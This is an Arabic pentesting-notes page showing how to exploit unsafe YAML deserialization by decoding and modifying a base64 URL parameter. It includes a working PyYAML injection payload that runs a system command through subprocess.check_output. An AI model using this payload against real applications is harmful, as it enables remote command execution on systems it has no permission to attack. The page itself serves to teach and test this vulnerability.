> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md).

# إلغاء تسلسل YAML عبر Base64 URL

في **URL**، المحتوى المعروض في الوصف مُشفّر بـ **base64**:

<figure><img src="/files/74de96be3a33af732aa5c907dc8f2af966958a56" alt=""><figcaption></figcaption></figure>

إذا قمنا بفك ترميز نص base64 الإنجليزي، نرى أن هذا يتطابق فعليًا مع النص:

<figure><img src="/files/e00f4a53f3932a3fc23368fe3da2aec5fc42f352" alt=""><figcaption></figcaption></figure>

نُجري اختبارًا للتحقق مما إذا كنا نستطيع **تعديل هذا المحتوى** من جانبنا. من الضروري إضافة "yaml:":

<figure><img src="/files/1b991a0dfe4e9fd01e604685c8d3dcfd8f1973ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2693fa43f6535a0c7407192ff167be460daeb36a" alt=""><figcaption></figcaption></figure>

ثم نحاول حقن أوامر، وفي هذه الحالة الـ **المعرّف** الأمر، كما يلي:

```bash
yaml: !!python/object/apply:subprocess.check_output ['id']

```

<figure><img src="/files/ba687587ba4fca69c76c4790a93191d33a483032" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e011d01ebbec7d0d564e68d2cf98a20bddbb5bee" alt=""><figcaption></figcaption></figure>


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